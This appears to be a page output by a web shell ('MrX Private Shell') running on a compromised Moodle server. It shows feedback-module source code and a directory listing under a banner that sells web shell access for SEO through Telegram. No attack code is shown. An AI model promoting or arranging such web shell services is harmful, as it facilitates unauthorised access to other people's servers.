__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
namespace mod_feedback;
use cm_info;
use stdClass;
/**
* Class manager for feedback
*
* @package mod_feedback
* @copyright 2024 Mikel MartÃn <mikel@moodle.com>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
*/
class manager {
/**
* Get the template record from the template id
*
* @param int $templateid
* @return stdClass
*/
public static function get_template_record(int $templateid): stdClass {
global $DB;
return $DB->get_record('feedback_template', ['id' => $templateid], '*', MUST_EXIST);
}
/**
* Check if the current user can see other users if in groups
*
* @param cm_info $cm
* @return bool
*/
public static function can_see_others_in_groups(cm_info $cm): bool {
$canaccessallgroups = has_capability('moodle/site:accessallgroups', $cm->context);
if ($canaccessallgroups) {
return true;
}
$course = $cm->get_course();
$groupmode = groups_get_activity_groupmode($cm, $course);
$usergroups = groups_get_user_groups($course->id);
return ($groupmode != SEPARATEGROUPS || !empty($usergroups['0']));
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| analytics | Folder | 0755 |
|
|
| completion | Folder | 0755 |
|
|
| courseformat | Folder | 0755 |
|
|
| event | Folder | 0755 |
|
|
| external | Folder | 0755 |
|
|
| form | Folder | 0755 |
|
|
| navigation | Folder | 0755 |
|
|
| output | Folder | 0755 |
|
|
| privacy | Folder | 0755 |
|
|
| search | Folder | 0755 |
|
|
| complete_form.php | File | 21.86 KB | 0644 |
|
| completion.php | File | 27.35 KB | 0644 |
|
| course_map_form.php | File | 1.53 KB | 0644 |
|
| course_select_form.php | File | 3.27 KB | 0644 |
|
| dates.php | File | 2.25 KB | 0644 |
|
| external.php | File | 56.96 KB | 0644 |
|
| manager.php | File | 1.85 KB | 0644 |
|
| observer.php | File | 1.52 KB | 0644 |
|
| responses_anon_table.php | File | 4.47 KB | 0644 |
|
| responses_table.php | File | 24.76 KB | 0644 |
|
| structure.php | File | 13.49 KB | 0644 |
|
| templates_table.php | File | 5.85 KB | 0644 |
|